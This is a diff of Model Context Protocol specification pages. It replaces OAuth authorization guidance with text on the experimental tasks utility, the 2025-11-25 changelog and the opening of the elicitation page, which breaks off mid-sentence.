+ Note over S,C: Server requests client operation (task-augmented) + S->>C: sampling/createMessage (ttl: 3600000) + activate C + C->>S: CreateTaskResult (request-789, status: working) + deactivate C -### Authorization Server Metadata Discovery + Note over S: Server continues processing
while waiting for result -To handle different issuer URL formats and ensure interoperability with both OAuth 2.0 Authorization Server Metadata and OpenID Connect Discovery 1.0 specifications, MCP clients **MUST** attempt multiple well-known endpoints when discovering authorization server metadata. + Note over S,C: Server polls for result + S->>C: tasks/get (request-789) + activate C + C->>S: working + deactivate C -The discovery approach is based on [RFC8414 Section 3.1 "Authorization Server Metadata Request"](https://datatracker.ietf.org/doc/html/rfc8414#section-3.1) for OAuth 2.0 Authorization Server Metadata discovery and [RFC8414 Section 5 "Compatibility Notes"](https://datatracker.ietf.org/doc/html/rfc8414#section-5) for OpenID Connect Discovery 1.0 interoperability. + Note over C,U: Client may present request to user + C->>U: Review request + U->>C: Approve request -For issuer URLs with path components (e.g., `https://auth.example.com/tenant1`), clients **MUST** try endpoints in the following priority order: + Note over C,LLM: Client may involve LLM + C->>LLM: Request completion + LLM->>C: Return completion -1. OAuth 2.0 Authorization Server Metadata with path insertion: `https://auth.example.com/.well-known/oauth-authorization-server/tenant1` -2. OpenID Connect Discovery 1.0 with path insertion: `https://auth.example.com/.well-known/openid-configuration/tenant1` -3. OpenID Connect Discovery 1.0 path appending: `https://auth.example.com/tenant1/.well-known/openid-configuration` + Note over C,U: Client may present result to user + C->>U: Review result + U->>C: Approve result -For issuer URLs without path components (e.g., `https://auth.example.com`), clients **MUST** try: + Note over S,C: Server polls and discovers completion + S->>C: tasks/get (request-789) + activate C + C->>S: completed + deactivate C -1. OAuth 2.0 Authorization Server Metadata: `https://auth.example.com/.well-known/oauth-authorization-server` -2. OpenID Connect Discovery 1.0: `https://auth.example.com/.well-known/openid-configuration` + Note over S,C: Server retrieves result + S->>C: tasks/result (request-789) + activate C + C->>S: Result content + deactivate C -### Authorization Server Discovery Sequence Diagram + Note over S: Server continues processing -The following diagram outlines an example flow: + Note over C: Results retained for ttl period from creation +``` + +### Task Cancellation Flow ```mermaid theme={null} sequenceDiagram - participant C as Client - participant M as MCP Server (Resource Server) - participant A as Authorization Server + participant C as Client (Requestor) + participant S as Server (Receiver) - Note over C: Attempt unauthenticated MCP request - C->>M: MCP request without token - M-->>C: HTTP 401 Unauthorized (may include WWW-Authenticate header) + Note over C,S: 1. Task Creation + C->>S: tools/call (request ID: 42, ttl: 60000) + activate S + S->>C: CreateTaskResult (task-123, status: working) + deactivate S - alt Header includes resource_metadata - Note over C: Extract resource_metadata URL from header - C->>M: GET resource_metadata URI - M-->>C: Resource metadata with authorization server URL - else No resource_metadata in header - Note over C: Fallback to well-known URI probing - Note over M: _Not applicable if the MCP server is at the root_ - C->>M: GET /.well-known/oauth-protected-resource/mcp - alt Sub-path metadata found - M-->>C: Resource metadata with authorization server URL - else Sub-path not found - C->>M: GET /.well-known/oauth-protected-resource - alt Root metadata found - M-->>C: Resource metadata with authorization server URL - else Root metadata not found - Note over C: Abort or use pre-configured values - end - end - end + Note over C,S: 2. Task Processing + C->>S: tasks/get (task-123) + activate S + S->>C: working + deactivate S - Note over C: Validate RS metadata,
build AS metadata URL + Note over C,S: 3. Client Cancellation + Note over C: User requests cancellation + C->>S: tasks/cancel (taskId: task-123) + activate S - C->>A: GET Authorization server metadata endpoint - Note over C,A: Try OAuth 2.0 and OpenID Connect
discovery endpoints in priority order - A-->>C: Authorization server metadata + Note over S: Server stops execution (best effort) + Note over S: Task moves to cancelled status - Note over C,A: OAuth 2.1 authorization flow happens here + S->>C: Task (status: cancelled) + deactivate S - C->>A: Token request - A-->>C: Access token + Note over C: Client receives confirmation - C->>M: MCP request with access token - M-->>C: MCP response - Note over C,M: MCP communication continues with valid token + Note over S: Server may delete task at its discretion ``` -## Client Registration Approaches +## Data Types -MCP supports three client registration mechanisms. Choose based on your scenario: +### Task -* **Client ID Metadata Documents**: When client and server have no prior relationship (most common) -* **Pre-registration**: When client and server have an existing relationship -* **Dynamic Client Registration**: For backwards compatibility or specific requirements +A task represents the execution state of a request. The task state includes: -Clients supporting all options **SHOULD** follow the following priority order: +* `taskId`: Unique identifier for the task +* `status`: Current state of the task execution +* `statusMessage`: Optional human-readable message describing the current state (can be present for any status, including error details for failed tasks) +* `createdAt`: ISO 8601 timestamp when the task was created +* `ttl`: Time in milliseconds from creation before task may be deleted +* `pollInterval`: Suggested time in milliseconds between status checks +* `lastUpdatedAt`: ISO 8601 timestamp when the task status was last updated -1. Use pre-registered client information for the server if the client has it available -2. Use Client ID Metadata Documents if the Authorization Server indicates if the server supports it (via `client_id_metadata_document_supported` in OAuth Authorization Server Metadata) -3. Use Dynamic Client Registration as a fallback if the Authorization Server supports it (via `registration_endpoint` in OAuth Authorization Server Metadata) -4. Prompt the user to enter the client information if no other option is available +### Task Status -### Client ID Metadata Documents +Tasks can be in one of the following states: -MCP clients and authorization servers **SHOULD** support OAuth Client ID Metadata Documents as specified in -[OAuth Client ID Metadata Document](https://datatracker.ietf.org/doc/html/draft-ietf-oauth-client-id-metadata-document-00). -This approach enables clients to use HTTPS URLs as client identifiers, where the URL points to a JSON document -containing client metadata. This addresses the common MCP scenario where servers and clients have -no pre-existing relationship. +* `working`: The request is currently being processed. +* `input_required`: The receiver needs input from the requestor. The requestor should call `tasks/result` to receive input requests, even though the task has not reached a terminal state. +* `completed`: The request completed successfully and results are available. +* `failed`: The associated request did not complete successfully. For tool calls specifically, this includes cases where the tool call result has `isError` set to true. +* `cancelled`: The request was cancelled before completion. -#### Implementation Requirements +### Task Parameters -MCP implementations supporting Client ID Metadata Documents **MUST** follow the requirements specified in -[OAuth Client ID Metadata Document](https://datatracker.ietf.org/doc/html/draft-ietf-oauth-client-id-metadata-document-00). -Key requirements include: +When augmenting a request with task execution, the `task` field is included in the request parameters: -**For MCP Clients:** +```json theme={null} +{ + "task": { + "ttl": 60000 + } +} +``` -* Clients **MUST** host their metadata document at an HTTPS URL following RFC requirements -* The `client_id` URL **MUST** use the "https" scheme and contain a path component, e.g. `https://example.com/client.json` -* The metadata document **MUST** include at least the following properties: `client_id`, `client_name`, `redirect_uris` -* Clients **MUST** ensure the `client_id` value in the metadata matches the document URL exactly -* Clients **MAY** use `private_key_jwt` for client authentication (e.g., for requests to the token endpoint) with appropriate JWKS configuration as described in [Section 6.2 of Client ID Metadata Document](https://www.ietf.org/archive/id/draft-ietf-oauth-client-id-metadata-document-00.html#section-6.2) +Fields: -**For Authorization Servers:** +* `ttl` (number, optional): Requested duration in milliseconds to retain task from creation -* **SHOULD** fetch metadata documents when encountering URL-formatted client\_ids -* **MUST** validate that the fetched document's `client_id` matches the URL exactly -* **SHOULD** cache metadata respecting HTTP cache headers -* **MUST** validate redirect URIs presented in an authorization request against those in the metadata document -* **MUST** validate the document structure is valid JSON and contains required fields -* **SHOULD** follow the security considerations in [Section 6 of Client ID Metadata Document](https://www.ietf.org/archive/id/draft-ietf-oauth-client-id-metadata-document-00.html#section-6) +### Related Task Metadata -#### Example Metadata Document +All requests, responses, and notifications associated with a task **MUST** include the `io.modelcontextprotocol/related-task` key in `_meta`: ```json theme={null} { - "client_id": "https://app.example.com/oauth/client-metadata.json", - "client_name": "Example MCP Client", - "client_uri": "https://app.example.com", - "logo_uri": "https://app.example.com/logo.png", - "redirect_uris": [ - "http://127.0.0.1:3000/callback", - "http://localhost:3000/callback" - ], - "grant_types": ["authorization_code"], - "response_types": ["code"], - "token_endpoint_auth_method": "none" + "io.modelcontextprotocol/related-task": { + "taskId": "786512e2-9e0d-44bd-8f29-789f320fe840" + } } ``` -#### Client ID Metadata Documents Flow +This associates messages with their originating task across the entire request lifecycle. -The following diagram illustrates the complete flow when using Client ID Metadata Documents: +For the `tasks/get`, `tasks/list`, and `tasks/cancel` operations, requestors and receivers **SHOULD NOT** include this metadata in their messages, as the `taskId` is already present in the message structure. +The `tasks/result` operation **MUST** include this metadata in its response, as the result structure itself does not contain the task ID. -```mermaid theme={null} -sequenceDiagram - participant User - participant Client as MCP Client - participant Server as Authorization Server - participant Metadata as Metadata Endpoint
(Client's HTTPS URL) - participant Resource as MCP Server +## Error Handling - Note over Client,Metadata: Client hosts metadata at
https://app.example.com/oauth/metadata.json +Tasks use two error reporting mechanisms: - User->>Client: Initiates connection to MCP Server - Client->>Server: Authorization Request
client_id=https://app.example.com/oauth/metadata.json
redirect_uri=http://localhost:3000/callback +1. **Protocol Errors**: Standard JSON-RPC errors for protocol-level issues +2. **Task Execution Errors**: Errors in the underlying request execution, reported through task status - Server->>User: Authentication prompt - User->>Server: Provides credentials - Note over Server: Authenticates user +### Protocol Errors - Note over Server: Detects URL-formatted client_id +Receivers **MUST** return standard JSON-RPC errors for the following protocol error cases: - Server->>Metadata: GET https://app.example.com/oauth/metadata.json - Metadata-->>Server: JSON Metadata Document
{client_id, client_name, redirect_uris, ...} +* Invalid or nonexistent `taskId` in `tasks/get`, `tasks/result`, or `tasks/cancel`: `-32602` (Invalid params) +* Invalid or nonexistent cursor in `tasks/list`: `-32602` (Invalid params) +* Attempt to cancel a task already in a terminal status: `-32602` (Invalid params) +* Internal errors: `-32603` (Internal error) - Note over Server: Validates:
1. client_id matches URL
2. redirect_uri in allowed list
3. Document structure valid
4. (Optional) Domain allowed via trust policy +Additionally, receivers **MAY** return the following errors: - alt Validation Success - Server->>User: Display consent page with client_name - User->>Server: Approves access - Server->>Client: Authorization code via redirect_uri - Client->>Server: Exchange code for token
client_id=https://app.example.com/oauth/metadata.json - Server-->>Client: Access token - Client->>Resource: MCP requests with access token - Resource-->>Client: MCP responses - else Validation Failure - Server->>User: Error response
error=invalid_client or invalid_request - end +* Non-task-augmented request when receiver requires task augmentation for that request type: `-32600` (Invalid request) - Note over Server: Cache metadata for future requests
(respecting HTTP cache headers) +Receivers **SHOULD** provide informative error messages to describe the cause of errors. + +**Example: Task augmentation required** + +```json theme={null} +{ + "jsonrpc": "2.0", + "id": 1, + "error": { + "code": -32600, + "message": "Task augmentation required for tools/call requests" + } +} ``` -#### Discovery +**Example: Task not found** -Authorization servers advertise that they support clients using Client ID Metadata Documents by including the following property in their OAuth Authorization Server metadata: +```json theme={null} +{ + "jsonrpc": "2.0", + "id": 70, + "error": { + "code": -32602, + "message": "Failed to retrieve task: Task not found" + } +} +``` + +**Example: Task expired** ```json theme={null} { - "client_id_metadata_document_supported": true + "jsonrpc": "2.0", + "id": 71, + "error": { + "code": -32602, + "message": "Failed to retrieve task: Task has expired" + } } ``` -MCP clients **SHOULD** check for this capability and **MAY** fall back to Dynamic Client Registration -or pre-registration if unavailable. + + Receivers are not required to retain tasks indefinitely. It is compliant behavior for a receiver to return an error stating the task cannot be found if it has purged an expired task. + -### Preregistration +**Example: Task cancellation rejected (already terminal)** -MCP clients **SHOULD** support an option for static client credentials such as those supplied by a preregistration flow. This could be: +```json theme={null} +{ + "jsonrpc": "2.0", + "id": 74, + "error": { + "code": -32602, + "message": "Cannot cancel task: already in terminal status 'completed'" + } +} +``` -1. Hardcode a client ID (and, if applicable, client credentials) specifically for the MCP client to use when - interacting with that authorization server, or -2. Present a UI to users that allows them to enter these details, after registering an - OAuth client themselves (e.g., through a configuration interface hosted by the - server). +### Task Execution Errors -### Dynamic Client Registration +When the underlying request does not complete successfully, the task moves to the `failed` status. This includes JSON-RPC protocol errors during request execution, or for tool calls specifically, when the tool result has `isError` set to true. The `tasks/get` response **SHOULD** include a `statusMessage` field with diagnostic information about the failure. -MCP clients and authorization servers **MAY** support the -OAuth 2.0 Dynamic Client Registration Protocol [RFC7591](https://datatracker.ietf.org/doc/html/rfc7591) -to allow MCP clients to obtain OAuth client IDs without user interaction. -This option is included for backwards compatibility with earlier versions of the MCP authorization spec. +**Example: Task with execution error** -## Scope Selection Strategy +```json theme={null} +{ + "jsonrpc": "2.0", + "id": 4, + "result": { + "taskId": "786512e2-9e0d-44bd-8f29-789f820fe840", + "status": "failed", + "createdAt": "2025-11-25T10:30:00Z", + "lastUpdatedAt": "2025-11-25T10:40:00Z", + "ttl": 30000, + "statusMessage": "Tool execution failed: API rate limit exceeded" + } +} +``` -When implementing authorization flows, MCP clients **SHOULD** follow the principle of least privilege by requesting -only the scopes necessary for their intended operations. During the initial authorization handshake, MCP clients -**SHOULD** follow this priority order for scope selection: +For tasks that wrap tool call requests, when the tool result has `isError` set to `true`, the task should reach `failed` status. -1. **Use `scope` parameter** from the initial `WWW-Authenticate` header in the 401 response, if provided -2. **If `scope` is not available**, use all scopes defined in `scopes_supported` from the Protected Resource Metadata document, omitting the `scope` parameter if `scopes_supported` is undefined. +The `tasks/result` endpoint returns exactly what the underlying request would have returned: -This approach accommodates the general-purpose nature of MCP clients, which typically lack domain-specific knowledge to make informed decisions about individual scope selection. Requesting all available scopes allows the authorization server and end-user to determine appropriate permissions during the consent process. +* If the underlying request resulted in a JSON-RPC error, `tasks/result` **MUST** return that same JSON-RPC error. +* If the request completed with a JSON-RPC response, `tasks/result` **MUST** return a successful JSON-RPC response containing that result. -This approach minimizes user friction while following the principle of least privilege. -The `scopes_supported` field is intended to represent the minimal set of scopes necessary -for basic functionality (see [Scope Minimization](/specification/2025-11-25/basic/security_best_practices#scope-minimization)), -with additional scopes requested incrementally through the step-up authorization flow steps -described in the [Scope Challenge Handling](#scope-challenge-handling) section. +## Security Considerations + +### Task Isolation and Access Control + +Task IDs are the primary mechanism for accessing task state and results. Without proper access controls, any party that can guess or obtain a task ID could potentially access sensitive information or manipulate tasks they did not create. + +When an authorization context is provided, receivers **MUST** bind tasks to said context. + +Context-binding is not practical for all applications. Some MCP servers operate in environments without authorization, such as single-user tools, or use transports that don't support authorization. +In these scenarios, receivers **SHOULD** document this limitation clearly, as task results may be accessible to any requestor that can guess the task ID. +If context-binding is unavailable, receivers **MUST** generate cryptographically secure task IDs with enough entropy to prevent guessing and should consider using shorter TTL durations to reduce the exposure window. +Furthermore, receivers that cannot identify requestors **SHOULD NOT** declare the `tasks.list` capability, as listing tasks would expose task metadata to any requestor regardless of task ID entropy. + +If context-binding is available, receivers **MUST** reject `tasks/get`, `tasks/result`, and `tasks/cancel` requests for tasks that do not belong to the same authorization context as the requestor. For `tasks/list` requests, receivers **MUST** ensure the returned task list includes only tasks associated with the requestor's authorization context. + +Additionally, receivers **SHOULD** implement rate limiting on task operations to prevent denial-of-service and enumeration attacks. + +### Resource Management + +1. Receivers **SHOULD**: + 1. Enforce limits on concurrent tasks per requestor + 2. Enforce maximum `ttl` durations to prevent indefinite resource retention + 3. Clean up expired tasks promptly to free resources + 4. Document maximum supported `ttl` duration + 5. Document maximum concurrent tasks per requestor + 6. Implement monitoring and alerting for resource usage + +### Audit and Logging + +1. Receivers **SHOULD**: + 1. Log task creation, completion, and retrieval events for audit purposes + 2. Include auth context in logs when available + 3. Monitor for suspicious patterns (e.g., many failed task lookups, excessive polling) +2. Requestors **SHOULD**: + 1. Log task lifecycle events for debugging and audit purposes + 2. Track task IDs and their associated operations -## Authorization Flow Steps -The complete Authorization flow proceeds as follows: +# Key Changes +Source: https://modelcontextprotocol.io/specification/2025-11-25/changelog -```mermaid theme={null} -sequenceDiagram - participant B as User-Agent (Browser) - participant C as Client - participant M as MCP Server (Resource Server) - participant A as Authorization Server - C->>M: MCP request without token - M->>C: HTTP 401 Unauthorized with WWW-Authenticate header - Note over C: Extract resource_metadata URL from WWW-Authenticate - C->>M: Request Protected Resource Metadata - M->>C: Return metadata +
- Note over C: Parse metadata and extract authorization server(s)
Client determines AS to use +This document lists changes made to the Model Context Protocol (MCP) specification since +the previous revision, [2025-06-18](/specification/2025-06-18). - C->>A: GET Authorization server metadata endpoint - Note over C,A: Try OAuth 2.0 and OpenID Connect
discovery endpoints in priority order - A-->>C: Authorization server metadata +## Major changes - alt Client ID Metadata Documents - Note over C: Client uses HTTPS URL as client_id - Note over A: Server detects URL-formatted client_id - A->>C: Fetch metadata from client_id URL - C-->>A: JSON metadata document - Note over A: Validate metadata and redirect_uris - else Dynamic client registration - C->>A: POST /register - A->>C: Client Credentials - else Pre-registered client - Note over C: Use existing client_id - end +1. Enhance authorization server discovery with support for [OpenID Connect Discovery 1.0](https://openid.net/specs/openid-connect-discovery-1_0.html). (PR [#797](https://github.com/modelcontextprotocol/modelcontextprotocol/pull/797)) +2. Allow servers to expose icons as additional metadata for tools, resources, resource templates, and prompts ([SEP-973](https://github.com/modelcontextprotocol/modelcontextprotocol/issues/973)). +3. Enhance authorization flows with incremental scope consent via `WWW-Authenticate` ([SEP-835](https://github.com/modelcontextprotocol/modelcontextprotocol/pull/835)) +4. Provide guidance on tool names ([SEP-986](https://github.com/modelcontextprotocol/modelcontextprotocol/pull/1603)) +5. Update `ElicitResult` and `EnumSchema` to use a more standards-based approach and support titled, untitled, single-select, and multi-select enums ([SEP-1330](https://github.com/modelcontextprotocol/modelcontextprotocol/issues/1330)). +6. Added support for [URL mode elicitation](/specification/2025-11-25/client/elicitation#url-elicitation-requests) ([SEP-1036](https://github.com/modelcontextprotocol/modelcontextprotocol/pull/887)) +7. Add tool calling support to sampling via `tools` and `toolChoice` parameters ([SEP-1577](https://github.com/modelcontextprotocol/modelcontextprotocol/issues/1577)) +8. Add support for OAuth Client ID Metadata Documents as a recommended client registration mechanism ([SEP-991](https://github.com/modelcontextprotocol/modelcontextprotocol/issues/991), PR [#1296](https://github.com/modelcontextprotocol/modelcontextprotocol/pull/1296)) +9. Add experimental support for [tasks](/specification/2025-11-25/basic/utilities/tasks) to enable tracking durable requests with polling and deferred result retrieval ([SEP-1686](https://github.com/modelcontextprotocol/modelcontextprotocol/issues/1686)). - Note over C: Generate PKCE parameters
Include resource parameter
Apply scope selection strategy - C->>B: Open browser with authorization URL + code_challenge + resource - B->>A: Authorization request with resource parameter - Note over A: User authorizes - A->>B: Redirect to callback with authorization code - B->>C: Authorization code callback - C->>A: Token request + code_verifier + resource - A->>C: Access token (+ refresh token) - C->>M: MCP request with access token - M-->>C: MCP response - Note over C,M: MCP communication continues with valid token -``` +## Minor changes -## Resource Parameter Implementation +1. Clarify that servers using stdio transport may use stderr for all types of logging, not just error messages (PR [#670](https://github.com/modelcontextprotocol/modelcontextprotocol/pull/670)). +2. Add optional `description` field to `Implementation` interface to align with MCP registry server.json format and provide human-readable context during initialization. +3. Clarify that servers must respond with HTTP 403 Forbidden for invalid Origin headers in Streamable HTTP transport. (PR [#1439](https://github.com/modelcontextprotocol/modelcontextprotocol/pull/1439)) +4. Updated the [Security Best Practices guidance](https://modelcontextprotocol.io/specification/draft/basic/security_best_practices). +5. Clarify that input validation errors should be returned as Tool Execution Errors rather than Protocol Errors to enable model self-correction ([SEP-1303](https://github.com/modelcontextprotocol/modelcontextprotocol/issues/1303)). +6. Support polling SSE streams by allowing servers to disconnect at will ([SEP-1699](https://github.com/modelcontextprotocol/modelcontextprotocol/issues/1699)). +7. Clarify SEP-1699: GET streams support polling, resumption always via GET regardless of stream origin, event IDs should encode stream identity, disconnection includes server-initiated closure (Issue [#1847](https://github.com/modelcontextprotocol/modelcontextprotocol/issues/1847)). +8. Align OAuth 2.0 Protected Resource Metadata discovery with RFC 9728, making `WWW-Authenticate` header optional with fallback to `.well-known` endpoint ([SEP-985](https://github.com/modelcontextprotocol/modelcontextprotocol/issues/985)). +9. Add support for default values in all primitive types (string, number, enum) for elicitation schemas ([SEP-1034](https://github.com/modelcontextprotocol/modelcontextprotocol/issues/1034)). +10. Establish JSON Schema 2020-12 as the default dialect for MCP schema definitions ([SEP-1613](https://github.com/modelcontextprotocol/modelcontextprotocol/issues/1613)). -MCP clients **MUST** implement Resource Indicators for OAuth 2.0 as defined in [RFC 8707](https://www.rfc-editor.org/rfc/rfc8707.html) -to explicitly specify the target resource for which the token is being requested. The `resource` parameter: +## Other schema changes -1. **MUST** be included in both authorization requests and token requests. -2. **MUST** identify the MCP server that the client intends to use the token with. -3. **MUST** use the canonical URI of the MCP server as defined in [RFC 8707 Section 2](https://www.rfc-editor.org/rfc/rfc8707.html#name-access-token-request). +1. Decouple request payloads from RPC method definitions into standalone parameter schemas. ([SEP-1319](https://github.com/modelcontextprotocol/specification/issues/1319), PR [#1284](https://github.com/modelcontextprotocol/specification/pull/1284)) -### Canonical Server URI +## Governance and process updates -For the purposes of this specification, the canonical URI of an MCP server is defined as the resource identifier as specified in -[RFC 8707 Section 2](https://www.rfc-editor.org/rfc/rfc8707.html#section-2) and aligns with the `resource` parameter in -[RFC 9728](https://datatracker.ietf.org/doc/html/rfc9728). +1. Formalize Model Context Protocol governance structure ([SEP-932](https://github.com/modelcontextprotocol/modelcontextprotocol/issues/932)). +2. Establish shared communication practices and guidelines for the MCP community ([SEP-994](https://github.com/modelcontextprotocol/modelcontextprotocol/issues/994)). +3. Formalize Working Groups and Interest Groups in MCP governance ([SEP-1302](https://github.com/modelcontextprotocol/modelcontextprotocol/issues/1302)). +4. Establish SDK tiering system with clear requirements for feature support and maintenance commitments ([SEP-1730](https://github.com/modelcontextprotocol/modelcontextprotocol/issues/1730)). -MCP clients **SHOULD** provide the most specific URI that they can for the MCP server they intend to access, following the guidance in [RFC 8707](https://www.rfc-editor.org/rfc/rfc8707). While the canonical form uses lowercase scheme and host components, implementations **SHOULD** accept uppercase scheme and host components for robustness and interoperability. +## Full changelog -Examples of valid canonical URIs: +For a complete list of all changes that have been made since the last protocol revision, +[see GitHub](https://github.com/modelcontextprotocol/specification/compare/2025-06-18...2025-11-25). -* `https://mcp.example.com/mcp` -* `https://mcp.example.com` -* `https://mcp.example.com:8443` -* `https://mcp.example.com/server/mcp` (when path component is necessary to identify individual MCP server) -Examples of invalid canonical URIs: +# Elicitation +Source: https://modelcontextprotocol.io/specification/2025-11-25/client/elicitation -* `mcp.example.com` (missing scheme) -* `https://mcp.example.com#fragment` (contains fragment) -> **Note:** While both `https://mcp.example.com/` (with trailing slash) and `https://mcp.example.com` (without trailing slash) are technically valid absolute URIs according to [RFC 3986](https://www.rfc-editor.org/rfc/rfc3986), implementations **SHOULD** consistently use the form without the trailing slash for better interoperability unless the trailing slash is semantically significant for the specific resource. -For example, if accessing an MCP server at `https://mcp.example.com`, the authorization request would include: +
-``` -&resource=https%3A%2F%2Fmcp.example.com -``` +The Model Context Protocol (MCP) provides a standardized way for servers to request additional +information from users through the client during interactions. This flow allows clients to +maintain control over user interactions and data sharing while enabling servers to gather +necessary information dynamically. -MCP clients **MUST** send this parameter regardless of whether authorization servers support it. +Elicitation supports two modes: -## Access Token Usage +* **Form mode**: Servers can request structured data from users with optional JSON schemas to validate responses +* **URL mode**: Servers can direct users to external URLs for sensitive interactions that must *not* pass through the MCP client -### Token Requirements +## User Interaction Model -Access token handling when making requests to MCP servers **MUST** conform to the requirements defined in -[OAuth 2.1 Section 5 "Resource Requests"](https://datatracker.ietf.org/doc/html/draft-ietf-oauth-v2-1-13#section-5). -Specifically: +Elicitation in MCP allows servers to implement interactive workflows by enabling user input +requests to occur *nested* inside other MCP server features. -1. MCP client **MUST** use the Authorization request header field defined in - [OAuth 2.1 Section 5.1.1](https://datatracker.ietf.org/doc/html/draft-ietf-oauth-v2-1-13#section-5.1.1): +Implementations are free to expose elicitation through any interface pattern that suits +their needs—the protocol itself does not mandate any specific user interaction +model. -``` -Authorization: Bearer -``` + + For trust & safety and security: -Note that authorization **MUST** be included in every HTTP request from client to server, -even if they are part of the same logical session. + * Servers **MUST NOT** use form mode elicitation to request sensitive information such as + passwords, API keys, access tokens, or payment credentials + * Servers **MUST** use [URL mode](#url-mode-elicitation-requests) for interactions involving + such sensitive information -2. Access tokens **MUST NOT** be included in the URI query string + "Sensitive information" in this context refers to secrets and credentials that grant access or + authorize transactions. General contact or profile information (such as a name, email address, + or username) is not categorically prohibited; whether to request such data via form mode is at + the discretion of the server and subject to the user's ability to review and decline. -Example request: + MCP clients **MUST**: -```http theme={null} -GET /mcp HTTP/1.1 -Host: mcp.example.com -Authorization: Bearer eyJhbGciOiJIUzI1NiIs... -``` + * Provide UI that makes it clear which server is requesting information + * Respect user privacy and provide clear decline and cancel options + * For form mode, allow users to review and modify their responses before sending + * For URL mode, clearly display the target domain/host and gather user consent before navigation to the target URL + -### Token Handling +## Capabilities -MCP servers, acting in their role as an OAuth 2.1 resource server, **MUST** validate access tokens as described in -[OAuth 2.1 Section 5.2](https://datatracker.ietf.org/doc/html/draft-ietf-oauth-v2-1-13#section-5.2). -MCP servers **MUST** validate that access tokens were issued specifically for them as the intended audience, -according to [RFC 8707 Section 2](https://www.rfc-editor.org/rfc/rfc8707.html#section-2). -If validation fails, servers **MUST** respond according to -[OAuth 2.1 Section 5.3](https://datatracker.ietf.org/doc/html/draft-ietf-oauth-v2-1-13#section-5.3) -error handling requirements. Invalid or expired tokens **MUST** receive a HTTP 401 -response. +Clients that support elicitation **MUST** declare the `elicitation` capability during +[initialization](../basic/lifecycle#initialization): -MCP clients **MUST NOT** send tokens to the MCP server other than ones issued by the MCP server's authorization server. +```json theme={null} +{ + "capabilities": { + "elicitation": { + "form": {}, + "url": {} + } + } +} +``` -MCP servers **MUST** only accept tokens that are valid for use with their -own resources. +For backwards compatibility, an empty capabilities object is equivalent to declaring support for `form` mode only: -MCP servers **MUST NOT** accept or transit any other tokens. +```jsonc theme={null} +{ + "capabilities": { + "elicitation": {}, // Equivalent to { "form": {} } + }, +} +``` -## Error Handling +Clients declaring the `elicitation` capability **MUST** support at least one mode (`form` or `url`). -Servers **MUST** return appropriate HTTP status codes for authorization errors: +Servers **MUST NOT** send elicitation requests with modes that are not supported by the client. -| Status Code | Description | Usage | -| ----------- | ------------ | ------------------------------------------ | -| 401 | Unauthorized | Authorization required or token invalid | -| 403 | Forbidden | Invalid scopes or insufficient permissions | -| 400 | Bad Request | Malformed authorization request | +## Protocol Messages -### Scope Challenge Handling +### Elicitation Requests -This section covers handling insufficient scope errors during runtime operations when -a client already has a token but needs additional permissions. This follows the error -handling patterns defined in [OAuth 2.1 Section 5](https://datatracker.ietf.org/doc/html/draft-ietf-oauth-v2-1-13#section-5) -and leverages the metadata fields from [RFC 9728 (OAuth 2.0 Protected Resource Metadata)](https://datatracker.ietf.org/doc/html/rfc9728). +To request information from a user, servers send an `elicitation/create` request. -#### Runtime Insufficient Scope Errors +All elicitation requests **MUST** include the following parameters: -When a client makes a request with an access token with insufficient -scope during runtime operations, the server **SHOULD** respond with: +| Name | Type | Options | Description | +| --------- | ------ | ------------- | -------------------------------------------------------------------------------------- | +| `mode` | string | `form`, `url` | The mode of the elicitation. Optional for form mode (defaults to `"form"` if omitted). | +| `message` | string | | A human-readable message explaining why the interaction is needed. | -* `HTTP 403 Forbidden` status code (per [RFC 6750 Section 3.1](https://datatracker.ietf.org/doc/html/rfc6750#section-3.1)) -* `WWW-Authenticate` header with the `Bearer` scheme and additional parameters: - * `error="insufficient_scope"` - indicating the specific type of authorization failure - * `scope="required_scope1 required_scope2"` - specifying the minimum scopes needed for the operation - * `resource_metadata` - the URI of the Protected Resource Metadata document (for consistency with 401 responses) - * `error_description` (optional) - human-readable description of the error +The `mode` parameter specifies the type of elicitation: -**Server Scope Management**: When responding with insufficient scope errors, servers -**SHOULD** include the scopes needed to satisfy the current request in the `scope` -parameter. +* `"form"`: In-band structured data collection with optional schema validation. Data is exposed to the client. +* `"url"`: Out-of-band interaction via URL navigation. Data (other than the URL itself) is **not** exposed to the client. -Servers have flexibility in determining which scopes to include: +For backwards compatibility, servers **MAY** omit the `mode` field for form mode elicitation requests. Clients **MUST** treat requests without a `mode` field as form mode. -* **Minimum approach**: Include the newly-required scopes for the specific operation. Include any existing granted scopes as well, if they are required, to prevent clients from losing previously granted permissions. -* **Recommended approach**: Include both existing relevant scopes and newly required scopes to prevent clients from losing previously granted permissions -* **Extended approach**: Include existing scopes, newly required scopes, and related scopes that commonly work together +### Form Mode Elicitation Requests -The choice depends on the server's assessment of user experience impact and authorization friction. +Form mode elicitation allows servers to collect structured data directly through the MCP client. -Servers **SHOULD** be consistent in their scope inclusion strategy to provide predictable behavior for clients. +Form mode elicitation requests **MUST** either specify `mode: "form"` or omit the `mode` field, and include these additional parameters: -Servers **SHOULD** consider the user experience impact when determining which scopes to include in the -response, as misconfigured scopes may require frequent user interaction. +| Name | Type | Description | +| ----------------- | ------ | -------------------------------------------------------------- | +| `requestedSchema` | object | A JSON Schema defining the structure of the expected response. | -Example insufficient scope response: +#### Requested Schema -```http theme={null} -HTTP/1.1 403 Forbidden -WWW-Authenticate: Bearer error="insufficient_scope", - scope="files:read files:write user:profile", - resource_metadata="https://mcp.example.com/.well-known/oauth-protected-resource", - error_description="Additional file write permission required" -``` +The `requestedSchema` parameter allows servers to define the structure of the expected +response using a restricted subset of JSON Schema. -#### Step-Up Authorization Flow +To simplify client user experience, form mode elicitation schemas are limited to flat objects +with primitive properties only. -Clients will receive scope-related errors during initial authorization or at runtime (`insufficient_scope`). -Clients **SHOULD** respond to these errors by requesting a new access token with an increased set of scopes via a step-up authorization flow or handle the errors in other, appropriate ways. -Clients acting on behalf of a user **SHOULD** attempt the step-up authorization flow. Clients acting on their own behalf (`client_credentials` clients) -**MAY** attempt the step-up authorization flow or abort the request immediately. +The schema is restricted to these primitive types: -The flow is as follows: +1. **String Schema** -1. **Parse error information** from the authorization server response or `WWW-Authenticate` header -2. **Determine required scopes** as outlined in [Scope Selection Strategy](#scope-selection-strategy). -3. **Initiate (re-)authorization** with the determined scope set -4. **Retry the original request** with the new authorization no more than a few times and treat this as a permanent authorization failure + ```json theme={null} + { + "type": "string", + "title": "Display Name", + "description": "Description text", + "minLength": 3, + "maxLength": 50, + "pattern": "^[A-Za-z]+$", + "format": "email", + "default": "user@example.com" + } + ``` -Clients **SHOULD** implement retry limits and **SHOULD** track scope upgrade attempts to avoid -repeated 